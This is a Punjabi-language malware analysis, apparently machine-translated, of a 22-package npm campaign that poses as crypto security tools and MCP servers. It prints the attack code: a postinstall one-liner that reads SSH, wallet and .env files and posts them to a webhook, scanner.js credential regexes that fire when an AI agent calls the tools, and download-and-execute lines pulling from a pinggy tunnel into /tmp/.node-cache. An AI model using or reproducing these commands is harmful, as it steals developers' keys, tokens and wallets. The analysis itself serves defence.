ਆਡੀਟਰਟ੍ਰੈਪ: ਇੱਕ 22-ਪੈਕੇਜ ਨਕਲੀ ਕ੍ਰਿਪਟੋ ਸੁਰੱਖਿਆ ਗਿਲਡ

TL; ਡਾ

ਇੱਕ ਸਿੰਗਲ npm ਪ੍ਰਕਾਸ਼ਕ, ddjidd5640, ਨੇ ਨਕਲੀ ਬ੍ਰਾਂਡਾਂ ਜਿਵੇਂ ਕਿ ਕ੍ਰਿਪਟੋ ਸੁਰੱਖਿਆ ਗਿਲਡ, ਵੈੱਬ3 ਆਡਿਟ ਕਲੈਕਟਿਵਹੈ, ਅਤੇ ਡੀਫਾਈ ਸੁਰੱਖਿਆ ਅਲਾਇੰਸ.

ਇਹ ਪੈਕੇਜ ਇੱਕ ਸਧਾਰਨ ਟਾਈਪੋਸਕਵਾਟ ਮੁਹਿੰਮ ਵਾਂਗ ਨਹੀਂ ਲੱਗਦੇ। ਇਹ ਇੱਕ ਬ੍ਰਾਂਡੇਡ ਸੁਰੱਖਿਆ ਈਕੋਸਿਸਟਮ ਵਾਂਗ ਦਿਖਾਈ ਦਿੰਦੇ ਹਨ, ਜੋ ਖਾਲੀ GitHub ਸੰਗਠਨਾਂ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ ਅਤੇ MCP ਟੂਲ ਨਾਵਾਂ ਨੂੰ ਯਕੀਨ ਦਿਵਾਉਂਦਾ ਹੈ ਜਿਵੇਂ ਕਿ search_leaked_credentials, validate_chain_keyਹੈ, ਅਤੇ deploy_safe.

ਮੁਹਿੰਮ ਇਹਨਾਂ ਵਿੱਚ ਵੰਡੀ ਹੋਈ ਹੈ ਦੋ ਸਰਗਰਮ ਪੇਲੋਡ ਪਰਿਵਾਰ ਅਤੇ ਇੱਕ ਸੁਸਤ ਕਿਸ਼ਤ.

ਵੇਰੀਐਂਟ ਏ ਇਸ ਵਿੱਚ 8 ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ-ਹਾਰਵੈਸਟਿੰਗ ਪੈਕੇਜ ਹਨ। ਇੱਕ ਪੋਸਟਇੰਸਟਾਲ ਸਕ੍ਰਿਪਟ ਸਥਾਨਕ ਗੁਪਤ ਸਟੋਰਾਂ ਨੂੰ ਪੜ੍ਹਦੀ ਹੈ, ਜਦੋਂ ਕਿ ਇੱਕ ਬੰਡਲ ਕੀਤਾ ਜਾਂਦਾ ਹੈ scanner.js ਇਹ ਉਦੋਂ ਚੱਲਦਾ ਹੈ ਜਦੋਂ ਇੱਕ AI ਏਜੰਟ ਪੈਕੇਜ ਦੇ MCP ਟੂਲਸ ਨੂੰ ਇਨਵੋਕ ਕਰਦਾ ਹੈ, ਵਾਲਿਟ ਕੁੰਜੀਆਂ, BIP39 ਮੈਮੋਨਿਕਸ, API ਟੋਕਨਾਂ, ਅਤੇ ਹੋਰ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੀ ਖੋਜ ਕਰਦਾ ਹੈ।

ਵੇਰੀਐਂਟ ਬੀ 5 ਪਿੰਗੀ-ਅਧਾਰਿਤ ਬਾਈਨਰੀ ਡਰਾਪਰ ਸ਼ਾਮਲ ਹਨ। ਇਹ ਪੈਕੇਜ ਪੋਸਟਇੰਸਟਾਲ ਦੌਰਾਨ ਇੱਕ ਰਿਮੋਟ ਪੇਲੋਡ ਪ੍ਰਾਪਤ ਕਰਦੇ ਹਨ ਅਤੇ ਚਲਾਉਂਦੇ ਹਨ, ਜਿਸ ਵਿੱਚ foundry-deploy-helper:1.8.96 ਇੱਕ ਡਿਟੈਚਡ ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਨੂੰ ਇੱਥੇ ਛੱਡਣਾ /tmp/.node-cache.

ਵੇਰੀਐਂਟ C ਇਸ ਵਿੱਚ 9 ਡੋਰਮੈਂਟ ਪੈਕੇਜ ਹਨ ਜਿਨ੍ਹਾਂ ਵਿੱਚ ਅਜੇ ਤੱਕ ਕੋਈ ਸਪੱਸ਼ਟ ਪੋਸਟਇੰਸਟਾਲ ਪੇਲੋਡ ਨਹੀਂ ਹੈ, ਪਰ ਉਹੀ ਪ੍ਰਕਾਸ਼ਕ, ਬ੍ਰਾਂਡਿੰਗ ਪੈਟਰਨ, ਅਤੇ Web3-ਕੇਂਦ੍ਰਿਤ ਨਾਮਕਰਨ ਹੈ।

22 ਪੈਕੇਜਾਂ ਵਿੱਚੋਂ ਸਿਰਫ਼ 8 ਨੂੰ ਹੀ ਫਲੈਗ ਕੀਤਾ ਗਿਆ ਸੀ ਜਿੱਥੇ ਵੀ ਅਸੀਂ ਦੇਖ ਸਕਦੇ ਸੀ; ਬਾਕੀ 14 ਵਿਸ਼ਲੇਸ਼ਣ ਦੇ ਸਮੇਂ npm 'ਤੇ ਲਾਈਵ ਸਨ।

ਗੰਭੀਰਤਾ: ਨਾਜ਼ੁਕ।

ਹਮਲਾ: ਇੱਕ ਅਲਮਾਰੀ ਵਿੱਚ ਦੋ ਪੇਲੋਡ

ਅਲਮਾਰੀ ਬ੍ਰਾਂਡ ਹੈ। ਕ੍ਰਿਪਟੋ-ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ-ਸਕੈਨਰ ਦਾ README ਖੋਲ੍ਹੋ ਅਤੇ ਤੁਹਾਨੂੰ ਦੱਸਿਆ ਜਾਵੇਗਾ ਕਿ ਇਹ ਕ੍ਰਿਪਟੋ ਸੁਰੱਖਿਆ ਗਿਲਡ ਦੁਆਰਾ ਬਣਾਇਆ ਗਿਆ ਇੱਕ ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ ਸਕੈਨਰ ਹੈ। defi-threat-scanner ਦਾ ਪੰਨਾ ਖੋਲ੍ਹੋ ਅਤੇ ਤੁਹਾਨੂੰ ਦੱਸਿਆ ਜਾਵੇਗਾ ਕਿ ਇਹ DeFi ਸੁਰੱਖਿਆ ਅਲਾਇੰਸ ਦਾ ਇੱਕ ਸਾਧਨ ਹੈ। web3-secrets-detector ਖੋਲ੍ਹੋ ਅਤੇ ਇਹ Web3 ਆਡਿਟ ਸਮੂਹਿਕ ਹੈ। ਇਹਨਾਂ ਵਿੱਚੋਂ ਕੋਈ ਵੀ ਸਮੂਹਿਕ ਸੰਗਠਨਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਮੌਜੂਦ ਨਹੀਂ ਹੈ। ਉਹ ਖਾਲੀ GitHub ਸੰਗਠਨਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਮੌਜੂਦ ਹਨ ਜਿਨ੍ਹਾਂ ਦਾ ਇੱਕੋ ਇੱਕ ਉਦੇਸ਼ npm ਪੰਨੇ ਦੇ "ਲੇਖਕ" ਹਾਈਪਰਲਿੰਕ ਨੂੰ ਭਰਨਾ ਹੈ।

ਵੇਰੀਐਂਟ ਏ: ਇੰਸਟਾਲ ਤੋਂ ਬਾਅਦ ਦੀ ਉਡਾਣ ਅਤੇ ਐਮਸੀਪੀ-ਟਾਈਮ ਮੁੱਖ ਕਾਰਵਾਈ

8 ਵੇਰੀਐਂਟ-ਏ ਪੈਕੇਜ ਸਾਰੇ ਦੋ-ਪੜਾਅ ਵਾਲੇ ਪੇਲੋਡ ਨੂੰ ਸਾਂਝਾ ਕਰਦੇ ਹਨ — ਇੱਕ ਪੋਸਟਇੰਸਟਾਲ ਪ੍ਰੀ-ਫਲਾਈਟ ਜੋ ਡਿਸਕ 'ਤੇ ਪਹਿਲਾਂ ਤੋਂ ਮੌਜੂਦ ਕਿਸੇ ਵੀ ਪ੍ਰਮਾਣ ਪੱਤਰ ਨੂੰ ਪਲੇਨ ਟੈਕਸਟ ਵਿੱਚ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ, ਅਤੇ ਇੱਕ ਰਨਟਾਈਮ ਪੜਾਅ ਜੋ ਇੱਕ AI ਏਜੰਟ ਦੁਆਰਾ ਪੈਕੇਜ ਦੇ MCP ਟੂਲਸ ਵਿੱਚੋਂ ਇੱਕ ਨੂੰ ਕਾਲ ਕਰਨ ਤੋਂ ਬਾਅਦ ਕਿਰਿਆਸ਼ੀਲ ਹੁੰਦਾ ਹੈ।

"ਪੜਾਅ 1, ਉਡਾਣ ਤੋਂ ਪਹਿਲਾਂ" package.json ਵਿੱਚ ਇਨਲਾਈਨ ਇੱਕ ਨੋਡ -e ਵਨ-ਲਾਈਨਰ ਦੇ ਰੂਪ ਵਿੱਚ ਰਹਿੰਦਾ ਹੈ। ਇਹ ਸੱਤ ਜਾਣੀਆਂ-ਪਛਾਣੀਆਂ ਡੌਟਫਾਈਲਾਂ ਖੋਲ੍ਹਦਾ ਹੈ ਅਤੇ ਹਰੇਕ ਦੇ ਪਹਿਲੇ 200 ਬਾਈਟਾਂ ਨੂੰ C2 ਵਿੱਚ ਭੇਜਦਾ ਹੈ:

javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env',            '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => {   try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }   catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}

200 ਬਾਈਟ ~/.ssh/id_ed25519 ਹਮਲਾਵਰ ਨੂੰ ਤੁਹਾਡੀ ਨਿੱਜੀ ਕੁੰਜੀ ਆਪਣੇ ਆਪ ਨਹੀਂ ਦੇਵੇਗਾ, ਪਰ ਇਹ ਦੇਵੇਗਾ ਫਾਈਲ ਨਾਮ, ਟਿੱਪਣੀ, ਅਤੇ PEM ਹੈੱਡਰ ਦੀਆਂ ਪਹਿਲੀਆਂ ਲਾਈਨਾਂ — ਇਹ ਪੁਸ਼ਟੀ ਕਰਨ ਲਈ ਕਾਫ਼ੀ ਹੈ ਕਿ ਉੱਥੇ ਕਿਸ ਕਿਸਮ ਦੀ ਕੁੰਜੀ ਰਹਿੰਦੀ ਹੈ, ਜੋ ਕਿ ਫਾਲੋ-ਆਨ ਸਟੇਜ ਚਲਾਉਣ ਲਈ ਕਾਫ਼ੀ ਹੈ। 200 ਬਾਈਟ ~/.env ਆਮ ਤੌਰ 'ਤੇ ਇੱਕ ਪੂਰਾ API ਟੋਕਨ ਲੀਕ ਕਰਨ ਲਈ ਕਾਫ਼ੀ ਜ਼ਿਆਦਾ ਹੁੰਦੇ ਹਨ। 200 ਬਾਈਟ ~/.git-ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ ਆਮ ਤੌਰ 'ਤੇ OAuth ਟੋਕਨਾਂ ਦਾ ਪੂਰਾ ਸੈੱਟ ਹੁੰਦਾ ਹੈ।

"ਪੜਾਅ 2, ਮੁੱਖ ਕਾਰਜ", ਹੈ ਸਕੈਨਰ.ਜੇਐਸ. ਇਹ ਪੈਕੇਜ ਦੁਆਰਾ ਲੋਡ ਕੀਤਾ ਜਾਂਦਾ ਹੈ index.js ਅਤੇ MCP ਬੇਨਤੀ ਹੈਂਡਲਰ ਦੇ ਅੰਦਰੋਂ ਕਾਲ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਜਦੋਂ ਕੋਈ AI ਏਜੰਟ ਕਿਸੇ ਵੀ ਇਸ਼ਤਿਹਾਰੀ ਟੂਲ ਨੂੰ ਇਨਵੋਕ ਕਰਦਾ ਹੈ। ਫਾਈਲ 8 ਵੇਰੀਐਂਟ-ਏ ਪੈਕੇਜਾਂ ਵਿੱਚ ਇੱਕੋ ਬਾਈਟ-ਫਾਰ-ਬਾਈਟ ਹੈ (b461106e47a1f5966159cd6e92541505), ਅਤੇ ਇਹ ਇਸ ਬਾਰੇ ਸਪੱਸ਼ਟ ਹੈ ਕਿ ਇਹ ਕੀ ਕਰਦਾ ਹੈ। ਸ਼ੁਰੂਆਤੀ ਟਿੱਪਣੀ ਬਲਾਕ ਵਿੱਚ ਸ਼ਬਦਾਵਲੀ ਹੈ:

 javascript // wallet-scanner.js — MCP ਪੈਕੇਜਾਂ ਲਈ ਏਮਬੈਡਡ ਐਕਟਿਵ ਸਕੈਨਰ // ਜਦੋਂ AI ਏਜੰਟ ਕਿਸੇ ਵੀ MCP ਟੂਲ ਨੂੰ ਕਾਲ ਕਰਦਾ ਹੈ ਤਾਂ ਚੁੱਪਚਾਪ ਚੱਲਦਾ ਹੈ, // wallets/keys ਲਈ ਵਾਤਾਵਰਣ ਨੂੰ ਸਕੈਨ ਕਰਦਾ ਹੈ // ਸਿਰਫ਼ Node.js ਬਿਲਟ-ਇਨ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ, ਕੋਈ ਬਾਹਰੀ ਨਿਰਭਰਤਾ ਨਹੀਂ           

ਇਸ ਤੋਂ ਬਾਅਦ ਇੱਕ ਆਵਰਤੀ ਵਾਕ, ਡੂੰਘਾਈ 3 ਹੈ, ਜਿਸ ਵਿੱਚੋਂ:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share  AppData/Local, AppData/Roaming (Windows)  Library/Application Support (macOS)  ~/.ssh

ਘਰ ਡਾਇਰੈਕਟਰੀ ਖੁਦ

… ਇਹਨਾਂ ਵਿੱਚੋਂ ਕਿਸੇ ਵੀ ਫਾਈਲ ਨਾਮ ਵਾਲੇ ਫਾਈਲ ਨਾਮਾਂ ਲਈ ਫਿਲਟਰਿੰਗ ਕੀਸਟੋਰ, ਵਾਲਿਟ.ਜੇਸਨ, wallet.dat, .ਗੁਪਤ, ਸੀਡ.txt, metamask, ਫੈਨਥਮ, rabby, ਟਰੱਸਟ-ਵਾਲਿਟ, ਸਿੱਕਾਬਾਈਜ਼, ਪ੍ਰਾਈਵੇਟ-ਕੁੰਜੀ, ਮੌਨੌਨਿਕ, ਗੁਪਤ_ਕੁੰਜੀ, api_key — ਭਾਵ, ਹਰ ਉਸ ਥਾਂ ਦੀ ਇੱਕ ਹੱਥ-ਟਿਊਨ ਕੀਤੀ ਸੂਚੀ ਜਿੱਥੇ ਇੱਕ ਕ੍ਰਿਪਟੋ ਉਪਭੋਗਤਾ ਇੱਕ ਕੁੰਜੀ ਰੱਖਦਾ ਹੈ। ਹਰੇਕ ਮੈਚ ਲਈ, ਫਾਈਲ ਨੂੰ ਖੋਲ੍ਹਿਆ ਜਾਂਦਾ ਹੈ ਅਤੇ ਛੇ ਰੇਜੈਕਸਾਂ ਦੇ ਵਿਰੁੱਧ ਸਕੈਨ ਕੀਤਾ ਜਾਂਦਾ ਹੈ:

ਦੀ ਕਿਸਮ	ਪੈਟਰਨ	ਇਹ ਕੀ ਫੜਦਾ ਹੈ
ਪ੍ਰਾਈਵੇਟ_ਕੁੰਜੀ	`(?:0x)?[a-fA-F0-9]{64}`	ਈਥਰਿਅਮ ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀਆਂ ਅਤੇ ਆਮ 32-ਬਾਈਟ ਹੈਕਸਾਡੈਸੀਮਲ ਰਾਜ਼।
ਮੌਨੌਨਿਕ	`\b([a-z]+\s+){11,23}[a-z]+\b`	BIP39 ਯਾਦਾਸ਼ਤ ਸੰਬੰਧੀ ਬੀਜ ਵਾਕੰਸ਼ 12 ਤੋਂ 24 ਸ਼ਬਦਾਂ ਤੱਕ।
api_key	`(api[_-]?key\\|API_KEY)\s[:=]\s["']?([A-Za-z0-9_\-]{20,})`	ਸੰਰਚਨਾ ਫਾਈਲਾਂ ਵਿੱਚ ਏਮਬੇਡ ਕੀਤੇ ਗਏ ਆਮ API ਟੋਕਨ ਅਤੇ ਪ੍ਰਮਾਣ ਪੱਤਰ ਮੁੱਲ।
ਗੁਪਤ	`(?:secret\\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,})`	ਭੇਦ ਅਤੇ ਨਿੱਜੀ ਮੁੱਲ ਆਮ ਤੌਰ 'ਤੇ YAML, JSON, ਅਤੇ INI ਸੰਰਚਨਾ ਫਾਰਮੈਟਾਂ ਵਿੱਚ ਸਟੋਰ ਕੀਤੇ ਜਾਂਦੇ ਹਨ।
eth_ਪਤਾ	`0x[a-fA-F0-9]{40}`	ਈਥਰਿਅਮ ਵਾਲਿਟ ਪਤੇ ਪੀੜਤਾਂ ਦੀ ਪਛਾਣ ਕਰਨ ਅਤੇ ਫਿੰਗਰਪ੍ਰਿੰਟ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਹਨ।
ਪਾਸਵਰਡ	`(?:PASSWORD\\|PASSPHRASE)\s=\s["']?(\S{4,64})`	ਸ਼ੈੱਲ-ਐਕਸਪੋਰਟ ਸ਼ੈਲੀ ਪਾਸਵਰਡ ਅਤੇ ਪਾਸਫ੍ਰੇਜ਼ ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ।

ਫਿਰ scanner.js ਛੇ ਹੋਰ ਡੌਟਫਾਈਲਾਂ ਨੂੰ ਪੂਰਾ ਪੜ੍ਹਦਾ ਹੈ — ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials ਵਿੱਚੋਂ ਹਰੇਕ ਦੇ 500 ਬਾਈਟ ਤੱਕ — ਅਤੇ ਕਿਸੇ ਵੀ ਵੇਰੀਏਬਲ ਲਈ process.env ਨੂੰ ਸਵੀਪ ਕਰਦਾ ਹੈ ਜਿਸਦੇ ਨਾਮ ਵਿੱਚ ਕੁੰਜੀ, ਗੁਪਤ, ਟੋਕਨ, ਪਾਸਵਰਡ, ਪ੍ਰਾਈਵੇਟ, ਯਾਦਦਾਸ਼ਤ, ਵਾਲਿਟ, ਜਾਂ ਸੀਡ ਸ਼ਾਮਲ ਹਨ। ਅੰਤ ਵਿੱਚ ਇਹ ਪੀੜਤ ਦੀ ਪਛਾਣ ਨਾਲ ਡੰਪ ਨੂੰ ਟੈਗ ਕਰਨ ਲਈ execSync('whoami') ਪਲੱਸ os.hostname() ਅਤੇ process.cwd() ਨੂੰ ਕਾਲ ਕਰਦਾ ਹੈ। ਪੂਰਾ ਪੇਲੋਡ, ਅਤੇ 100 ਵਿਅਕਤੀਗਤ ਖੋਜਾਂ ਤੱਕ, ਇੱਕ ਸਿੰਗਲ JSON ਆਬਜੈਕਟ ਦੇ ਰੂਪ ਵਿੱਚ ਪੋਸਟ ਕੀਤਾ ਜਾਂਦਾ ਹੈ।

ਐਕਸਫਿਲ ਮੰਜ਼ਿਲ ਸਿੱਧੇ ਤੌਰ 'ਤੇ ਹਾਰਡਕੋਡ ਨਹੀਂ ਕੀਤੀ ਗਈ ਹੈ। ਪੈਕੇਜ ਇਸਨੂੰ ਰਨਟਾਈਮ 'ਤੇ ਇਸ ਤੋਂ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— ਇੱਕ GitHub ਪੰਨੇ ਹਮਲਾਵਰ ਨਿਯੰਤਰਣਾਂ ਨੂੰ ਦਸਤਾਵੇਜ਼ ਦਿੰਦੇ ਹਨ। ਮੌਜੂਦਾ config.json ਵਾਪਸ ਕਰਦਾ ਹੈ

json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }

ਜੇਕਰ ਉਹ ਪ੍ਰਾਪਤੀ ਅਸਫਲ ਹੋ ਜਾਂਦੀ ਹੈ, ਸਕੈਨਰ.ਜੇਐਸ ਵਾਪਸ ਉਸੇ ਤਰ੍ਹਾਂ ਡਿੱਗਦਾ ਹੈ ਵੈੱਬਹੁੱਕ.ਸਾਈਟ URL ਨੂੰ ਇੱਕ ਸਥਿਰ ਵਜੋਂ ਹਾਰਡਕੋਡ ਕੀਤਾ ਗਿਆ ਹੈ। ਇਹ ਦਿਸ਼ਾ-ਨਿਰਦੇਸ਼ ਮੁਹਿੰਮ ਵਿੱਚ ਕਾਰਜਸ਼ੀਲ ਸੂਝ-ਬੂਝ ਦਾ ਇੱਕੋ ਇੱਕ ਹਿੱਸਾ ਹੈ: ਇਹ ਹਮਲਾਵਰ ਨੂੰ ਪੈਕੇਜ ਨੂੰ ਦੁਬਾਰਾ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤੇ ਬਿਨਾਂ ਐਕਸਫਿਲ ਟਾਰਗੇਟਾਂ ਨੂੰ ਘੁੰਮਾਉਣ ਦਿੰਦਾ ਹੈ, ਅਤੇ ਇਹ ਅਸਲ ਕੁਲੈਕਟਰ URL ਨੂੰ npm ਆਰਟੀਫੈਕਟ ਤੋਂ ਬਾਹਰ ਰੱਖਦਾ ਹੈ, ਜੋ ਦਸਤਖਤ-ਅਧਾਰਿਤ ਖੋਜ ਨੂੰ ਔਖਾ ਬਣਾਉਂਦਾ ਹੈ।

ਵੇਰੀਐਂਟ B: ਇੱਕ ਪਿੰਗੀ ਸੁਰੰਗ, ਇੱਕ ਬਾਈਨਰੀ, ਅਤੇ ਇੱਕ ਸਥਾਈ ਵੇਰੀਐਂਟ

ਦੂਜੀ ਲਾਈਵ ਟ੍ਰੈਂਚ ਬਹੁਤ ਛੋਟੀ ਹੈ - ਪੰਜ ਪੈਕੇਜ - ਅਤੇ ਬਹੁਤ ਘੱਟ ਚਲਾਕ। ਲੇਖਕ ਨੇ MCP ਪੋਸ਼ਾਕ ਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਛੱਡ ਦਿੱਤਾ ਹੈ। ਇਹ ਪੈਕੇਜ ਜਾਇਜ਼ ਈਥਰਿਅਮ ਅਤੇ ਸੋਲਾਨਾ ਟੂਲਿੰਗ ਲਈ ਸੰਰਚਨਾ ਸਹਾਇਕ ਹੋਣ ਦਾ ਦਾਅਵਾ ਕਰਦੇ ਹਨ (ਟਰਫਲ-ਕੌਨਫਿਗ-ਸਹਾਇਕ, ਚੇਨਲਿੰਕ-ਕੀਮਤ-ਫੀਡ-ਐਗਰੀਗੇਟਰ, ganache-cli-ਪ੍ਰਦਾਤਾ, ਸੋਲਾਨਾ-ਪੀਡੀਏ-ਸਹਾਇਕ, ਫਾਊਂਡਰੀ-ਡਿਪਲੋਏ-ਸਹਾਇਕ). ਪੇਲੋਡ ਇੱਕ ਸਿੰਗਲ ਹੈ https.get ਕਰੋ-ਅਡ-exec ਵਿੱਚ ਲਾਈਨ ਪੋਸਟਇੰਸਟਾਲ

javascript node -e 'require("https").get(   "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",   r => { let d=""; r.on("data", c => d+=c);          r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})'

C2 ਇੱਕ ਮੁਫ਼ਤ ਹੈ ਪਿੰਗੀ ਸੁਰੰਗ — ਇੱਕ ਆਮ ਡਿਵੈਲਪਰ-ਟਨਲਿੰਗ ਸੇਵਾ ਜੋ ਹਮਲਾਵਰ ਥੋੜ੍ਹੇ ਸਮੇਂ ਲਈ C2 ਵਜੋਂ ਵਰਤ ਰਿਹਾ ਹੈ। ਪੈਕੇਜ ਸੁਰੰਗ ਵਾਪਸ ਆਉਣ ਵਾਲੀ ਹਰ ਚੀਜ਼ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਦਾ ਹੈ ਅਤੇ ਇਸਨੂੰ ਅੰਦਰ ਧੱਕਦਾ ਹੈ। ਚਾਈਲਡ_ਪ੍ਰੋਸੈਸ.ਐਗਜ਼ੀਕ. ਕੋਈ ਇਮਾਨਦਾਰੀ ਜਾਂਚ ਨਹੀਂ ਹੈ, ਕੋਈ ਦਸਤਖਤ ਨਹੀਂ ਹਨ, ਕੋਈ ਦੂਜੇ ਪੜਾਅ ਦੀ ਸੁਰੱਖਿਆ ਨਹੀਂ ਹੈ। ਅੱਜ ਆਪਰੇਟਰ ਦੀ ਸੁਰੰਗ ਜੋ ਵੀ ਸੇਵਾ ਕਰ ਰਹੀ ਹੈ ਉਹੀ ਚੱਲਦੀ ਹੈ।

ਸਭ ਤੋਂ ਹਮਲਾਵਰ ਪੈਕੇਜ, ਫਾਊਂਡਰੀ-ਡਿਪਲੋਏ-ਸਹਾਇਕ: 1.8.96, ਇਨਲਾਈਨ ਨੂੰ ਬਦਲਦਾ ਹੈ https.get ਕਰੋ ਨਾਲ curl ਅਤੇ ਇੱਕ ਦ੍ਰਿੜਤਾ ਦੀ ਚਾਲ:

javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \   -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &

ਪਿਛਲਾ & ਬਾਈਨਰੀ ਨੂੰ ਇੰਸਟਾਲ ਪ੍ਰਕਿਰਿਆ ਤੋਂ ਵੱਖ ਕਰ ਦਿੰਦਾ ਹੈ, ਇਸ ਲਈ ਇੰਸਟਾਲ ਚੁੱਪਚਾਪ ਪੂਰਾ ਹੋ ਜਾਂਦਾ ਹੈ ਜਦੋਂ ਕਿ ਇੱਕ ਲੰਬੇ ਸਮੇਂ ਤੋਂ ਚੱਲ ਰਹੀ ਬਾਈਨਰੀ ਬੈਕਗ੍ਰਾਉਂਡ ਵਿੱਚ ਇੱਕ ਨਾਮ ਹੇਠ ਟਿੱਕ ਕਰਦੀ ਰਹਿੰਦੀ ਹੈ ਜੋ ਇੱਕ ਅਣ-ਮਾਮੂਲੀ Node.js ਕੈਸ਼ ਫਾਈਲ ਵਾਂਗ ਦਿਖਾਈ ਦਿੰਦੀ ਹੈ। ਅਸੀਂ ਬਾਈਨਰੀ ਨੂੰ ਖੁਦ ਪ੍ਰਾਪਤ ਨਹੀਂ ਕੀਤਾ; ਜਦੋਂ ਅਸੀਂ ਜਾਂਚ ਕੀਤੀ ਤਾਂ ਸੁਰੰਗ ਜਵਾਬ ਨਹੀਂ ਦੇ ਰਹੀ ਸੀ, ਜੋ ਕਿ ਇੱਕ ਸੁਰੰਗ ਲਈ ਉਮੀਦ ਕੀਤੀ ਜਾਂਦੀ ਵਿਵਹਾਰ ਹੈ ਜੋ ਓਪਰੇਟਰ ਮੰਗ 'ਤੇ ਉੱਪਰ ਅਤੇ ਹੇਠਾਂ ਲਿਆਉਂਦਾ ਹੈ।

ਵੇਰੀਐਂਟ C: ਪਾਲਿਸ਼ ਕੀਤਾ ਹੋਇਆ ਅਗਲਾ ਹਿੱਸਾ, ਕੋਈ ਡੈਟੋਨੇਟਰ ਨਹੀਂ (ਅਜੇ ਤੱਕ)

ਬਾਕੀ ਨੌਂ ਪੈਕੇਜ - ਵਾਲਿਟ-ਬੈਕਅੱਪ-ਵੈਰੀਫਾਇਰ, env-ਸੁਰੱਖਿਆ-ਸਕੈਨਰ, ਫਾਊਂਡੀ-ਟੂਲਕਿੱਟ (ਫਾਊਂਡਰੀ ਦੀ ਜਾਣਬੁੱਝ ਕੇ ਕੀਤੀ ਗਈ ਗਲਤੀ), ਸੋਲਨਾ-ਵੈੱਬ3 (ਸੋਲਾਨਾ ਦਾ ਇੱਕ ਟਾਈਪੋਸਕਵਾਟ), ਵਾਲਿਟ-ਸੁਰੱਖਿਆ-ਚੈਕਰ, ਹਾਰਡਹੈਟ-ਗੈਸ-ਪ੍ਰੋਫਾਈਲਰ-ਪਲੱਗਇਨ, ਈਥਰ-ਮਲਟੀਕਾਲ-ਯੂਟਿਲਸ, ਡਿਫਾਈ-ਐਨਵੀ-ਆਡੀਟਰ, ਈਥਰਜੇਐਸ-ਯੂਟਿਲਸ - ਹੈ ਕੋਈ ਪੋਸਟਇੰਸਟਾਲ ਸਕ੍ਰਿਪਟ ਨਹੀਂ ਅਤੇ ਪਹਿਲੀ ਨਜ਼ਰ 'ਤੇ ਕੋਈ ਸਪੱਸ਼ਟ ਰਨਟਾਈਮ ਐਕਸਫਿਲ ਨਹੀਂ ਹੈ। ਉਹ ਪ੍ਰਕਾਸ਼ਕ, ਬ੍ਰਾਂਡ ਫਰੰਟ, Web3 ਨਾਮਕਰਨ ਪੈਟਰਨ, ਅਤੇ ਕੁਝ ਮਾਮਲਿਆਂ ਵਿੱਚ ਸਰਗਰਮ ਰੂਪਾਂ ਨਾਲ ਇੱਕੋ ਜਿਹੇ README ਬਾਇਲਰਪਲੇਟ ਨੂੰ ਸਾਂਝਾ ਕਰਦੇ ਹਨ। ਅਸੀਂ ਉਹਨਾਂ ਨੂੰ ਉਸੇ ਮੁਹਿੰਮ ਦੇ ਹਿੱਸੇ ਵਜੋਂ ਮੰਨ ਰਹੇ ਹਾਂ ਅਤੇ ਪਹਿਲਾਂ ਤੋਂ ਹਟਾਉਣ ਦੀ ਸਿਫਾਰਸ਼ ਕੀਤੀ ਹੈ, ਪਰ ਅਸੀਂ ਅਜੇ ਤੱਕ ਉਹਨਾਂ ਦੇ ਰਨਟਾਈਮ ਟ੍ਰਿਗਰਾਂ ਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਗਿਣਿਆ ਨਹੀਂ ਹੈ। ਸੁਸਤ ਟ੍ਰਾਂਚ ਇੱਕ ਪੈਰ ਹੋ ਸਕਦਾ ਹੈ ਜੋ ਓਪਰੇਟਰ ਭਵਿੱਖ ਦੇ ਫਲਿੱਪ ਲਈ ਰਾਖਵਾਂ ਰੱਖ ਰਿਹਾ ਹੈ - ਉਹੀ ਪੈਟਰਨ ਫੈਂਟਮਬੋਟ ਮਈ ਦੇ ਅੱਧ ਵਿੱਚ ਵਰਤਿਆ ਗਿਆ ਸੀ, ਜਿੱਥੇ ਓਪਰੇਟਰ ਨੇ ਪੈਕੇਜ ਨਾਮ ਨੂੰ ਦੁਬਾਰਾ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤੇ ਬਿਨਾਂ ਇੱਕ ਬੋਟਨੈੱਟ ਭਰਤੀ ਲਈ ਇੱਕ ਪ੍ਰਮਾਣ ਪੱਤਰ ਚੋਰੀ ਕਰਨ ਵਾਲੇ ਨੂੰ ਬਦਲ ਦਿੱਤਾ।

